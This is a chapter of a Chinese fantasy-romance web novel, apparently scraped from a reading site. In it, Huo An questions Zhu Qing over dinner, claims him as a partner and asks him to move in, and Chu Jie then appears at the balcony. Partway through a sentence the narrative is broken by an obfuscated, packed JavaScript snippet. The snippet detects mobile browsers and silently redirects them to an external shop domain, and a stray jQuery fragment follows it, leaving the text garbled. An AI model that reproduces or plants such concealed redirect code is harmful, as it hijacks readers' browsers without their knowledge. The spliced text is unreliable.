祝轻正襟危坐地坐在餐桌前,看着自己面前摆得满满当当的一张桌子,感觉自己像是被架着去参加了什么大胃王比赛,吓都吓死了。“这,这些是什么东西……?”
“很难看出来?”霍黯手上还拿着锅铲,半回过身,“晚饭啊。”
祝轻在局里的时候也就是蹭罗锌点的奶茶蛋糕,或者是接受别人的零食投喂,什么时候见过这么大的阵仗!
祝轻抬手拿着叉子插了插眼前的一大坨沙拉,“晚饭居然要吃这么多?”
他还以为蛋糕奶茶就是顶好的东西了,居然还有更夸张的,难不成霍黯每天在这大房子里都过着这么爽的生活?
也太令妖羡慕了!
“你饿了就先吃吧,我先把这收拾干净。”霍黯拿着专用纸擦拭着灶台,又顺手打开冰箱,从里面拿了瓶果汁出来。
祝轻越想越觉得羡慕嫉妒恨,不自觉地撇起嘴,盯着对方给自己的杯子倒满。
“你怎么又把我带回来了?”
“因为我还有话没问你。”霍黯在他对面坐下,整个人往椅子里靠了靠,“我倒是答应你先暂时放过褚芥,作为回报,你不应该也跟我说点什么?”
祝轻稍稍警惕了几分:“……你想知道什么?问我也问不出来多少东西。”
“不问怎么知道。”霍黯扯出一个笑来,一手撑着脑袋,轻飘飘地丢出句:“你和那个白狐是什么关系?”
祝轻呆呆地眨巴眨巴眼睛。“我和他?”
“以为我那么好糊弄?你跟他要是真的不熟,又哪来的什么魔力能让你一直对着他说好话?”霍黯用手指指节敲了敲桌面,声音中已经染上几分威慑,“我知道你的档案一片空白,各种系统都查不到半点消息,是谁一直在替你保密?”
“又或者说,你到底是从来那来的,能一路摸进妖管局?”
祝轻坐着,手上还拿着那把叉子,听罢对方的这一通长篇大论,只觉得自己的下巴都要砸在桌子上。
这人是不是又犯病了,还是说其实他压根就没有正常过?!什么档案、什么保密、什么一路摸到妖管局——这所有事情的起源难道不是自己不小心闯进了猫咖被抓回去吗,而且明明是霍黯把自己骗进来当什么破前台还债的啊?!
霍黯看着他一脸呆滞的表情,自己心里的那点想法又更坚定了几分。“我给你个机会,你可以边吃边说。”
“……”祝轻简直是有一肚子的话又不知从何开口,只能默默插起两片沾了沙拉酱的生菜,塞进自己嘴里嚼嚼嚼。
“我问你话呢。”霍黯语气有些不悦。
祝轻又插起一块塞进嘴里,没有回应。
“喂。”霍黯重复道,“好吃吗?”
“好吃。”祝轻下意识就点点头回应道。
空气中又充满了尴尬而又寂静的氛围。祝轻死死盯着自己的那盘沙拉,连头都不敢抬一下,仿佛自己稍微伸出点眼神,下一秒脑袋就要落地。
祝轻放下叉子,轻吸一口气,酝酿了下话语,磕磕绊绊地开口道:“其实……其实你猜的是对的。”
霍黯轻轻挑了下眉头,好像是在等待着他接下来的回答。
祝轻的脑子从来没有转的这么快过。
律缘提醒过他,千万不能在人界暴露自己的真实身份和自己下凡的真实目的,要把自己隐藏得好好的,直到红线的另一头,所谓的“命定之人”出现……
“你也知道我是一个孤儿。”祝轻想到自己刚被带回妖管局时审讯人员问自己的话,“我一个人到这边,又没有什么亲人,找不到我别的资料也是正常的……”
霍黯:“然后?你和那只白狐?”
“他,他其实是我的……”祝轻心虚地戳了戳盘子,看都没敢看一眼,胡编说着:“因为他长得有点像我的亲人,我才这么问他。”
“你是想说,他只是你的哥哥?”霍黯莫名把话语的重音放在了最后两个字上。祝轻赶紧应下来乖乖点了点头。
“当我脑子不够用?”霍黯没什么好气,显然没有真的听进去他说的理由:“那两只狐狸精的底细我们已经摸的差不多了,他们两个才是真正的兄弟,什么时候跟你扯上的关系?”
我倒是也想问啊。祝轻简直觉得自己后背上都要长刺。“那应该,可能,是我认错了吧……”
“我在跟你说正事。”霍黯一拍桌子,惹得祝轻手上的叉子都被吓得跌落到盘子边缘,发出哐当的响声。他身形猛然坐直,静候发落。
“你和他们纠缠不清,我可以都不计较。”霍黯声音低沉,不用想都知道现在是个什么表情,“但我没那个心思真的去做大婆,也没那么大度,看着你跟别人拉拉扯扯还能装没看见。”
祝轻眨巴眨巴眼。“啊?”
“你也不用紧张,我的要求也没有多过分。”霍黯身体微微前倾,音调提高了些,“我不知道局里关于我的留言你听过多少,但你只要记住,你是我唯一的对象、男朋友、老婆、内人,我也不会再跟什么别的妖怪有交集,你也不可以。”
“明天让你再见一眼那只白狐,也是给你个机会和他彻底划清界限,不管之前怎么样,我可以不计较。”
祝轻听得云里雾里,小声地跟着他的话重复道:“呃,对象、男朋友、老婆、内人……?什么东西?还钱还要这么麻烦吗?”
霍黯没把他的话当回事,只自顾自地继续说:“妖管局的那个宿舍你明天也顺便办手续给退掉,把东西搬过来吧。”
祝轻一愣:“搬到哪?”
“这。”
祝轻只觉得霍黯是又受了什么刺激犯病了。“……你到底是怎么了?”难道霍黯已经在无形之中发疯了,只是他没有关注到?那他现在是不是应该赶快跑路?但饭还没吃完呢!
“有什么值得这么惊讶的?”霍黯两只手撑在桌面上,健壮的上半身已经越过餐桌,往祝轻的方向靠近,“难不成在你心里我们还不是那种关系?”
“什么关系……?”
“我知道,你是故意的。”
霍黯就这样又在祝轻有些呆滞的目光中坐回位子上,还
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17584311|205171||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
刻意地撩了一把自己的头发:“一开始容易紧张,我也能理解。适应适应就好了。”
虽然祝轻对霍黯偶尔反常的行为已经稍稍有些习惯,但现在还是觉得自己像是被一道天雷从头劈到了脚趾盖。“我……”
算了,还是少给自己惹事比较好。毕竟罗锌许珊也都提醒过,面对霍黯这个不太正常的妖怪,要做的最重要的一件事就是无条件的顺从。
“好吧,那就,那就听你的。”祝轻又低下头去叉自己盘子里的生菜。
霍黯满意地点了点头,甚至还拿起自己那倒了一半的酒杯,轻轻碰了下祝轻装满果汁的杯壁。“搬东西你不用管,直接跟罗锌说,让他帮你搬。”
为什么罗锌总是跟个打杂的一样,有点悲催。“不用吧,其实我觉得宿舍挺舒服的……”
霍黯动作一顿。“你不愿意?”
“没有,我——”
“可以。”
半杯酒液被一饮而尽,霍黯将空杯猛的往桌子上一放:“你不习惯也正常,要是喜欢那,就先在那住着。”
太不正常了,真是得少招惹这种人。祝轻应了一声,赶紧老老实实吃自己的饭了。
今天的几波转折也是太刺激了,在天界轮回八百遍应该也遇不上这么多有意思的事。直到吃饱喝足,仰倒在椅子里眼神空空地望着天花板,听着另一边霍黯收拾东西时听到咣当的声音,祝轻还是不由得在心里感慨:
要不自己还是想办法从妖管局跑路吧。
他坐直身体,看着霍黯的背影,小声开口问道:“我是不是应该睡沙发?”
霍黯头都没回一下,静静回答:“你继续睡之前的屋子。”
祝轻一想起这人之前挺大个体格,还要缩在沙发边缘的样子,就觉得有点可怜,衷心劝阻了一句:“那你也不要睡沙发了,去床上睡吧。”
霍黯动作停了下,稍稍转过头:“跟你一起?”
正常情况来讲,这应该是一个询问,祝轻此刻应该表达自己对此事的态度,例如拒绝还是接受。
但明显霍安今晚不是正常人——正常妖。
他只得缓缓点了下头,“嗯……嗯。”
霍黯轻笑一声,连收拾的动作都明显快了起来,甚至还哼起什么不着调的小曲。祝轻瞧着对方阴晴不定的样子只觉得吓人,赶忙起身回了客厅。
他拉开阳台门,趴在阳台围栏上朝着夜空望去,深深叹了口气。
对付霍黯真的太累了,他到底什么时候才能找到自己的命定之人?这人又到底藏哪去了?
以前看那些爱情故事,主角都跟从天上掉下来的一样突然出现,如果自己现在向天上看的话——
“祝轻!”
不是霍黯的声音。
祝轻吓了一跳,慌慌张张的朝四周望了一圈,却连半个影子都没看见。
“抬头,我在上面!”
祝轻顺着方向抬起眼,差点没吓得站不稳跌坐下去:
“褚、褚芥?”
“你挂在这儿干什么!”